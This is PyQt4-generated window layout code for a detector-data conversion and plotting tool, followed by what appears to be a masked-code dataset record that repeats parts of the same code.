QtGui.QHBoxLayout(self.horizontalLayoutWidget_4) self.horizontalLayout_6.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_6.setObjectName(_fromUtf8("horizontalLayout_6")) self.label_3 = QtGui.QLabel(self.horizontalLayoutWidget_4) font = QtGui.QFont() font.setBold(False) font.setWeight(50) self.label_3.setFont(font) self.label_3.setObjectName(_fromUtf8("label_3")) self.horizontalLayout_6.addWidget(self.label_3) self.browserButton_4 = QtGui.QPushButton(self.horizontalLayoutWidget_4) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.browserButton_4.sizePolicy().hasHeightForWidth()) self.browserButton_4.setSizePolicy(sizePolicy) self.browserButton_4.setObjectName(_fromUtf8("browserButton_4")) self.horizontalLayout_6.addWidget(self.browserButton_4) self.loadButton = QtGui.QPushButton(self.horizontalLayoutWidget_4) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.loadButton.sizePolicy().hasHeightForWidth()) self.loadButton.setSizePolicy(sizePolicy) self.loadButton.setObjectName(_fromUtf8("loadButton")) self.horizontalLayout_6.addWidget(self.loadButton) self.filePathEdit_4 = QtGui.QLineEdit(self.horizontalLayoutWidget_4) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.filePathEdit_4.sizePolicy().hasHeightForWidth()) self.filePathEdit_4.setSizePolicy(sizePolicy) self.filePathEdit_4.setMinimumSize(QtCore.QSize(300, 30)) self.filePathEdit_4.setObjectName(_fromUtf8("filePathEdit_4")) self.horizontalLayout_6.addWidget(self.filePathEdit_4) self.horizontalLayoutWidget_2 = QtGui.QWidget(self.groupBox_2) self.horizontalLayoutWidget_2.setGeometry(QtCore.QRect(17, 63, 481, 29)) self.horizontalLayoutWidget_2.setObjectName(_fromUtf8("horizontalLayoutWidget_2")) self.horizontalLayout_2 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_2) self.horizontalLayout_2.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_2.setObjectName(_fromUtf8("horizontalLayout_2")) self.label_4 = QtGui.QLabel(self.horizontalLayoutWidget_2) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.label_4.sizePolicy().hasHeightForWidth()) self.label_4.setSizePolicy(sizePolicy) self.label_4.setObjectName(_fromUtf8("label_4")) self.horizontalLayout_2.addWidget(self.label_4) self.comboBox = QtGui.QComboBox(self.horizontalLayoutWidget_2) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.comboBox.sizePolicy().hasHeightForWidth()) self.comboBox.setSizePolicy(sizePolicy) self.comboBox.setObjectName(_fromUtf8("comboBox")) self.horizontalLayout_2.addWidget(self.comboBox) self.plotButton = QtGui.QPushButton(self.horizontalLayoutWidget_2) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.plotButton.sizePolicy().hasHeightForWidth()) self.plotButton.setSizePolicy(sizePolicy) self.plotButton.setObjectName(_fromUtf8("plotButton")) self.horizontalLayout_2.addWidget(self.plotButton) self.horizontalLayoutWidget_3 = QtGui.QWidget(self.groupBox_2) self.horizontalLayoutWidget_3.setGeometry(QtCore.QRect(17, 100, 481, 29)) self.horizontalLayoutWidget_3.setObjectName(_fromUtf8("horizontalLayoutWidget_3")) self.horizontalLayout_3 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_3) self.horizontalLayout_3.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_3.setObjectName(_fromUtf8("horizontalLayout_3")) self.label_5 = QtGui.QLabel(self.horizontalLayoutWidget_3) self.label_5.setObjectName(_fromUtf8("label_5")) self.horizontalLayout_3.addWidget(self.label_5) self.comboBox_R1 = QtGui.QComboBox(self.horizontalLayoutWidget_3) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.comboBox_R1.sizePolicy().hasHeightForWidth()) self.comboBox_R1.setSizePolicy(sizePolicy) self.comboBox_R1.setMinimumSize(QtCore.QSize(0, 0)) self.comboBox_R1.setObjectName(_fromUtf8("comboBox_R1")) self.horizontalLayout_3.addWidget(self.comboBox_R1) self.label = QtGui.QLabel(self.horizontalLayoutWidget_3) self.label.setEnabled(False) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.label.sizePolicy().hasHeightForWidth()) self.label.setSizePolicy(sizePolicy) self.label.setMinimumSize(QtCore.QSize(30, 0)) self.label.setMaximumSize(QtCore.QSize(30, 29)) font = QtGui.QFont() font.setBold(True) font.setItalic(True) font.setUnderline(False) font.setWeight(75) self.label.setFont(font) self.label.setAutoFillBackground(True) self.label.setLineWidth(5) self.label.setAlignment(QtCore.Qt.AlignCenter) self.label.setObjectName(_fromUtf8("label")) self.horizontalLayout_3.addWidget(self.label) self.comboBox_R2 = QtGui.QComboBox(self.horizontalLayoutWidget_3) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.comboBox_R2.sizePolicy().hasHeightForWidth()) self.comboBox_R2.setSizePolicy(sizePolicy) self.comboBox_R2.setObjectName(_fromUtf8("comboBox_R2")) self.horizontalLayout_3.addWidget(self.comboBox_R2) self.plotRangeButton = QtGui.QPushButton(self.horizontalLayoutWidget_3) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.plotRangeButton.sizePolicy().hasHeightForWidth()) self.plotRangeButton.setSizePolicy(sizePolicy) self.plotRangeButton.setObjectName(_fromUtf8("plotRangeButton")) self.horizontalLayout_3.addWidget(self.plotRangeButton) self.horizontalLayoutWidget_7 = QtGui.QWidget(self.groupBox_2) self.horizontalLayoutWidget_7.setGeometry(QtCore.QRect(17, 140, 481, 29)) self.horizontalLayoutWidget_7.setObjectName(_fromUtf8("horizontalLayoutWidget_7")) self.horizontalLayout_5 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_7) self.horizontalLayout_5.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_5.setObjectName(_fromUtf8("horizontalLayout_5")) self.label_8 = QtGui.QLabel(self.horizontalLayoutWidget_7) self.label_8.setObjectName(_fromUtf8("label_8")) self.horizontalLayout_5.addWidget(self.label_8) self.comboBox_2 = QtGui.QComboBox(self.horizontalLayoutWidget_7) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.comboBox_2.sizePolicy().hasHeightForWidth()) self.comboBox_2.setSizePolicy(sizePolicy) self.comboBox_2.setObjectName(_fromUtf8("comboBox_2")) self.horizontalLayout_5.addWidget(self.comboBox_2) self.checkBox = QtGui.QCheckBox(self.horizontalLayoutWidget_7) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.checkBox.sizePolicy().hasHeightForWidth()) self.checkBox.setSizePolicy(sizePolicy) self.checkBox.setObjectName(_fromUtf8("checkBox")) self.horizontalLayout_5.addWidget(self.checkBox) self.plotImageButton = QtGui.QPushButton(self.horizontalLayoutWidget_7) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.plotImageButton.sizePolicy().hasHeightForWidth()) self.plotImageButton.setSizePolicy(sizePolicy) self.plotImageButton.setMinimumSize(QtCore.QSize(80, 15)) self.plotImageButton.setObjectName(_fromUtf8("plotImageButton")) self.horizontalLayout_5.addWidget(self.plotImageButton) self.clearPlotButton = QtGui.QPushButton(self.groupBox_2) self.clearPlotButton.setGeometry(QtCore.QRect(520, 140, 85, 50)) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.clearPlotButton.sizePolicy().hasHeightForWidth()) self.clearPlotButton.setSizePolicy(sizePolicy) self.clearPlotButton.setMinimumSize(QtCore.QSize(80, 50)) self.clearPlotButton.setObjectName(_fromUtf8("clearPlotButton")) self.horizontalLayoutWidget = QtGui.QWidget(self.groupBox_2) self.horizontalLayoutWidget.setGeometry(QtCore.QRect(17, 180, 481, 29)) self.horizontalLayoutWidget.setObjectName(_fromUtf8("horizontalLayoutWidget")) self.horizontalLayout = QtGui.QHBoxLayout(self.horizontalLayoutWidget) self.horizontalLayout.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout.setObjectName(_fromUtf8("horizontalLayout")) self.label_9 = QtGui.QLabel(self.horizontalLayoutWidget) self.label_9.setObjectName(_fromUtf8("label_9")) self.horizontalLayout.addWidget(self.label_9) self.pushButton = QtGui.QPushButton(self.horizontalLayoutWidget) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.pushButton.sizePolicy().hasHeightForWidth()) self.pushButton.setSizePolicy(sizePolicy) self.pushButton.setMinimumSize(QtCore.QSize(80, 15)) self.pushButton.setObjectName(_fromUtf8("pushButton")) self.horizontalLayout.addWidget(self.pushButton) self.plotStripsButton = QtGui.QPushButton(self.horizontalLayoutWidget) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.plotStripsButton.sizePolicy().hasHeightForWidth()) self.plotStripsButton.setSizePolicy(sizePolicy) self.plotStripsButton.setMinimumSize(QtCore.QSize(80, 15)) self.plotStripsButton.setObjectName(_fromUtf8("plotStripsButton")) self.horizontalLayout.addWidget(self.plotStripsButton) self.verticalLayout.addWidget(self.groupBox_2) MainWindow.setCentralWidget(self.centralwidget) self.statusbar = QtGui.QStatusBar(MainWindow) self.statusbar.setObjectName(_fromUtf8("statusbar")) MainWindow.setStatusBar(self.statusbar) self.toolBar = QtGui.QToolBar(MainWindow) self.toolBar.setObjectName(_fromUtf8("toolBar")) MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBar) self.menuBar = QtGui.QMenuBar(MainWindow) self.menuBar.setGeometry(QtCore.QRect(0, 0, 661, 22)) self.menuBar.setObjectName(_fromUtf8("menuBar")) MainWindow.setMenuBar(self.menuBar) self.actionOpen = QtGui.QAction(MainWindow) self.actionOpen.setVisible(True) self.actionOpen.setObjectName(_fromUtf8("actionOpen")) self.actionQuit = QtGui.QAction(MainWindow) self.actionQuit.setObjectName(_fromUtf8("actionQuit")) self.retranslateUi(MainWindow) QtCore.QMetaObject.connectSlotsByName(MainWindow) def retranslateUi(self, MainWindow): MainWindow.setWindowTitle(_translate("MainWindow", "MainWindow", None)) self.groupBox_3.setTitle(_translate("MainWindow", "PLOT WINDOW", None)) self.groupBox.setTitle(_translate("MainWindow", " BINARY DATA CONVERSION", None)) self.label_7.setText(_translate("MainWindow", " OUTPUT FILE ", None)) self.browserButton_7.setText(_translate("MainWindow", "Browse", None)) self.filePathEdit_7.setText(_translate("MainWindow", "D:\\detdev\\maia\\python\\", None)) self.label_11.setText(_translate("MainWindow", " DECODER FILE", None)) self.browserButton.setText(_translate("MainWindow", "Browse", None)) self.filePathEdit_3.setText(_translate("MainWindow", "D:\\detdev\\maia\\python\\qtGSD\\gsd_parse.out", None)) self.label_12.setText(_translate("MainWindow", " INPUT FILE ", None)) self.browserButton_3.setText(_translate("MainWindow", "Browse", None)) self.filePathEdit_5.setText(_translate("MainWindow", "D:\\detdev\\maia\\python\\", None)) self.runButton.setText(_translate("MainWindow", "Run", None)) self.groupBox_2.setTitle(_translate("MainWindow", " PLOT DATA", None)) self.label_3.setText(_translate("MainWindow", " DATA FILE ", None)) self.browserButton_4.setText(_translate("MainWindow", "Browse", None)) self.loadButton.setText(_translate("MainWindow", "Load", None)) self.filePathEdit_4.setText(_translate("MainWindow", "D:\\detdev\\maia\\python\\", None)) self.label_4.setText(_translate("MainWindow", " PLOT STRIP ", None)) self.plotButton.setText(_translate("MainWindow", "Plot", None)) self.label_5.setText(_translate("MainWindow", " PLOT SERIES", None)) self.label.setText(_translate("MainWindow", "to", None)) self.plotRangeButton.setText(_translate("MainWindow", "Plot", None)) self.label_8.setText(_translate("MainWindow", " PLOT SPECTRA AS 2-D IMAGE", None)) self.checkBox.setText(_translate("MainWindow", "Log", None)) self.plotImageButton.setText(_translate("MainWindow", "Plot Image", None)) self.clearPlotButton.setText(_translate("MainWindow", "Clear", None)) self.label_9.setText(_translate("MainWindow", " PLOT TOTAL COUNTS vs STRIP", None)) self.pushButton.setText(_translate("MainWindow", "Update", None)) self.plotStripsButton.setText(_translate("MainWindow", "Plot Strips", None)) self.toolBar.setWindowTitle(_translate("MainWindow", "toolBar", None)) self.actionOpen.setText(_translate("MainWindow", "Open", None)) self.actionQuit.setText(_translate("MainWindow", "Quit", None))
flexible
{ "blob_id": "9dde8e5fd0e83860ee86cf5402ab6eeb5b07ab2c", "index": 7761, "step-1": "<mask token>\n\n\nclass Ui_MainWindow(object):\n <mask token>\n <mask token>\n", "step-2": "<mask token>\n\n\nclass Ui_MainWindow(object):\n\n def setupUi(self, MainWindow):\n MainWindow.setObjectName(_fromUtf8('MainWindow'))\n MainWindow.resize(661, 728)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.\n QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(MainWindow.sizePolicy().\n hasHeightForWidth())\n MainWindow.setSizePolicy(sizePolicy)\n MainWindow.setMinimumSize(QtCore.QSize(100, 100))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n MainWindow.setFont(font)\n MainWindow.setAutoFillBackground(False)\n MainWindow.setTabShape(QtGui.QTabWidget.Rounded)\n self.centralwidget = QtGui.QWidget(MainWindow)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.centralwidget.sizePolicy().\n hasHeightForWidth())\n self.centralwidget.setSizePolicy(sizePolicy)\n self.centralwidget.setMinimumSize(QtCore.QSize(100, 100))\n self.centralwidget.setMaximumSize(QtCore.QSize(1000, 1000))\n self.centralwidget.setObjectName(_fromUtf8('centralwidget'))\n self.verticalLayout = QtGui.QVBoxLayout(self.centralwidget)\n self.verticalLayout.setObjectName(_fromUtf8('verticalLayout'))\n self.groupBox_3 = QtGui.QGroupBox(self.centralwidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.\n QSizePolicy.Expanding)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.groupBox_3.sizePolicy().\n hasHeightForWidth())\n self.groupBox_3.setSizePolicy(sizePolicy)\n font = QtGui.QFont()\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.groupBox_3.setFont(font)\n self.groupBox_3.setLayoutDirection(QtCore.Qt.LeftToRight)\n self.groupBox_3.setAutoFillBackground(True)\n self.groupBox_3.setAlignment(QtCore.Qt.AlignLeading | QtCore.Qt.\n AlignLeft | QtCore.Qt.AlignVCenter)\n self.groupBox_3.setObjectName(_fromUtf8('groupBox_3'))\n self.gridLayout = QtGui.QGridLayout(self.groupBox_3)\n self.gridLayout.setSizeConstraint(QtGui.QLayout.SetNoConstraint)\n self.gridLayout.setObjectName(_fromUtf8('gridLayout'))\n self.MainVertLayout = QtGui.QVBoxLayout()\n self.MainVertLayout.setSizeConstraint(QtGui.QLayout.SetMaximumSize)\n self.MainVertLayout.setContentsMargins(-1, 10, -1, -1)\n self.MainVertLayout.setSpacing(0)\n self.MainVertLayout.setObjectName(_fromUtf8('MainVertLayout'))\n self.gridLayout.addLayout(self.MainVertLayout, 0, 0, 1, 1)\n self.verticalLayout.addWidget(self.groupBox_3)\n self.groupBox = QtGui.QGroupBox(self.centralwidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.groupBox.sizePolicy().\n hasHeightForWidth())\n self.groupBox.setSizePolicy(sizePolicy)\n self.groupBox.setMinimumSize(QtCore.QSize(100, 200))\n font = QtGui.QFont()\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.groupBox.setFont(font)\n self.groupBox.setWhatsThis(_fromUtf8(''))\n self.groupBox.setObjectName(_fromUtf8('groupBox'))\n self.horizontalLayoutWidget_6 = QtGui.QWidget(self.groupBox)\n self.horizontalLayoutWidget_6.setGeometry(QtCore.QRect(17, 101, 594,\n 32))\n self.horizontalLayoutWidget_6.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_6'))\n self.horizontalLayout_9 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_6)\n self.horizontalLayout_9.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_9.setObjectName(_fromUtf8('horizontalLayout_9'))\n self.label_7 = QtGui.QLabel(self.horizontalLayoutWidget_6)\n self.label_7.setMinimumSize(QtCore.QSize(0, 30))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_7.setFont(font)\n self.label_7.setObjectName(_fromUtf8('label_7'))\n self.horizontalLayout_9.addWidget(self.label_7)\n self.browserButton_7 = QtGui.QPushButton(self.horizontalLayoutWidget_6)\n self.browserButton_7.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton_7.sizePolicy().\n hasHeightForWidth())\n self.browserButton_7.setSizePolicy(sizePolicy)\n self.browserButton_7.setMinimumSize(QtCore.QSize(80, 15))\n self.browserButton_7.setObjectName(_fromUtf8('browserButton_7'))\n self.horizontalLayout_9.addWidget(self.browserButton_7)\n self.filePathEdit_7 = QtGui.QLineEdit(self.horizontalLayoutWidget_6)\n self.filePathEdit_7.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_7.sizePolicy().\n hasHeightForWidth())\n self.filePathEdit_7.setSizePolicy(sizePolicy)\n self.filePathEdit_7.setMinimumSize(QtCore.QSize(400, 30))\n self.filePathEdit_7.setObjectName(_fromUtf8('filePathEdit_7'))\n self.horizontalLayout_9.addWidget(self.filePathEdit_7)\n self.horizontalLayoutWidget_9 = QtGui.QWidget(self.groupBox)\n self.horizontalLayoutWidget_9.setGeometry(QtCore.QRect(17, 25, 592, 32)\n )\n self.horizontalLayoutWidget_9.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_9'))\n self.horizontalLayout_10 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_9)\n self.horizontalLayout_10.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_10.setObjectName(_fromUtf8('horizontalLayout_10')\n )\n self.label_11 = QtGui.QLabel(self.horizontalLayoutWidget_9)\n self.label_11.setMinimumSize(QtCore.QSize(0, 30))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_11.setFont(font)\n self.label_11.setObjectName(_fromUtf8('label_11'))\n self.horizontalLayout_10.addWidget(self.label_11)\n self.browserButton = QtGui.QPushButton(self.horizontalLayoutWidget_9)\n self.browserButton.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton.sizePolicy().\n hasHeightForWidth())\n self.browserButton.setSizePolicy(sizePolicy)\n self.browserButton.setMinimumSize(QtCore.QSize(80, 15))\n self.browserButton.setObjectName(_fromUtf8('browserButton'))\n self.horizontalLayout_10.addWidget(self.browserButton)\n self.filePathEdit_3 = QtGui.QLineEdit(self.horizontalLayoutWidget_9)\n self.filePathEdit_3.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Expanding)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_3.sizePolicy().\n hasHeightForWidth())\n self.filePathEdit_3.setSizePolicy(sizePolicy)\n self.filePathEdit_3.setMinimumSize(QtCore.QSize(400, 30))\n self.filePathEdit_3.setObjectName(_fromUtf8('filePathEdit_3'))\n self.horizontalLayout_10.addWidget(self.filePathEdit_3)\n self.horizontalLayoutWidget_10 = QtGui.QWidget(self.groupBox)\n self.horizontalLayoutWidget_10.setGeometry(QtCore.QRect(17, 63, 592,\n 32))\n self.horizontalLayoutWidget_10.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_10'))\n self.horizontalLayout_11 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_10)\n self.horizontalLayout_11.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_11.setObjectName(_fromUtf8('horizontalLayout_11')\n )\n self.label_12 = QtGui.QLabel(self.horizontalLayoutWidget_10)\n self.label_12.setMinimumSize(QtCore.QSize(0, 30))\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_12.setFont(font)\n self.label_12.setObjectName(_fromUtf8('label_12'))\n self.horizontalLayout_11.addWidget(self.label_12)\n self.browserButton_3 = QtGui.QPushButton(self.horizontalLayoutWidget_10\n )\n self.browserButton_3.setEnabled(True)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton_3.sizePolicy().\n hasHeightForWidth())\n self.browserButton_3.setSizePolicy(sizePolicy)\n self.browserButton_3.setMinimumSize(QtCore.QSize(80, 15))\n self.browserButton_3.setObjectName(_fromUtf8('browserButton_3'))\n self.horizontalLayout_11.addWidget(self.browserButton_3)\n self.filePathEdit_5 = QtGui.QLineEdit(self.horizontalLayoutWidget_10)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_5.sizePolicy().\n hasHeightForWidth())\n self.filePathEdit_5.setSizePolicy(sizePolicy)\n self.filePathEdit_5.setMinimumSize(QtCore.QSize(400, 30))\n self.filePathEdit_5.setObjectName(_fromUtf8('filePathEdit_5'))\n self.horizontalLayout_11.addWidget(self.filePathEdit_5)\n self.runButton = QtGui.QPushButton(self.groupBox)\n self.runButton.setGeometry(QtCore.QRect(520, 140, 85, 50))\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.runButton.sizePolicy().\n hasHeightForWidth())\n self.runButton.setSizePolicy(sizePolicy)\n self.runButton.setMinimumSize(QtCore.QSize(80, 50))\n self.runButton.setIconSize(QtCore.QSize(24, 24))\n self.runButton.setObjectName(_fromUtf8('runButton'))\n self.verticalLayout.addWidget(self.groupBox)\n self.groupBox_2 = QtGui.QGroupBox(self.centralwidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.groupBox_2.sizePolicy().\n hasHeightForWidth())\n self.groupBox_2.setSizePolicy(sizePolicy)\n self.groupBox_2.setMinimumSize(QtCore.QSize(100, 225))\n font = QtGui.QFont()\n font.setBold(False)\n font.setItalic(False)\n font.setWeight(50)\n self.groupBox_2.setFont(font)\n self.groupBox_2.setAutoFillBackground(True)\n self.groupBox_2.setObjectName(_fromUtf8('groupBox_2'))\n self.horizontalLayoutWidget_4 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_4.setGeometry(QtCore.QRect(17, 25, 591, 32)\n )\n self.horizontalLayoutWidget_4.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_4'))\n self.horizontalLayout_6 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_4)\n self.horizontalLayout_6.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_6.setObjectName(_fromUtf8('horizontalLayout_6'))\n self.label_3 = QtGui.QLabel(self.horizontalLayoutWidget_4)\n font = QtGui.QFont()\n font.setBold(False)\n font.setWeight(50)\n self.label_3.setFont(font)\n self.label_3.setObjectName(_fromUtf8('label_3'))\n self.horizontalLayout_6.addWidget(self.label_3)\n self.browserButton_4 = QtGui.QPushButton(self.horizontalLayoutWidget_4)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.browserButton_4.sizePolicy().\n hasHeightForWidth())\n self.browserButton_4.setSizePolicy(sizePolicy)\n self.browserButton_4.setObjectName(_fromUtf8('browserButton_4'))\n self.horizontalLayout_6.addWidget(self.browserButton_4)\n self.loadButton = QtGui.QPushButton(self.horizontalLayoutWidget_4)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.loadButton.sizePolicy().\n hasHeightForWidth())\n self.loadButton.setSizePolicy(sizePolicy)\n self.loadButton.setObjectName(_fromUtf8('loadButton'))\n self.horizontalLayout_6.addWidget(self.loadButton)\n self.filePathEdit_4 = QtGui.QLineEdit(self.horizontalLayoutWidget_4)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.filePathEdit_4.sizePolicy().\n hasHeightForWidth())\n self.filePathEdit_4.setSizePolicy(sizePolicy)\n self.filePathEdit_4.setMinimumSize(QtCore.QSize(300, 30))\n self.filePathEdit_4.setObjectName(_fromUtf8('filePathEdit_4'))\n self.horizontalLayout_6.addWidget(self.filePathEdit_4)\n self.horizontalLayoutWidget_2 = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget_2.setGeometry(QtCore.QRect(17, 63, 481, 29)\n )\n self.horizontalLayoutWidget_2.setObjectName(_fromUtf8(\n 'horizontalLayoutWidget_2'))\n self.horizontalLayout_2 = QtGui.QHBoxLayout(self.\n horizontalLayoutWidget_2)\n self.horizontalLayout_2.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout_2.setObjectName(_fromUtf8('horizontalLayout_2'))\n self.label_4 = QtGui.QLabel(self.horizontalLayoutWidget_2)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.\n QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.label_4.sizePolicy().\n hasHeightForWidth())\n self.label_4.setSizePolicy(sizePolicy)\n 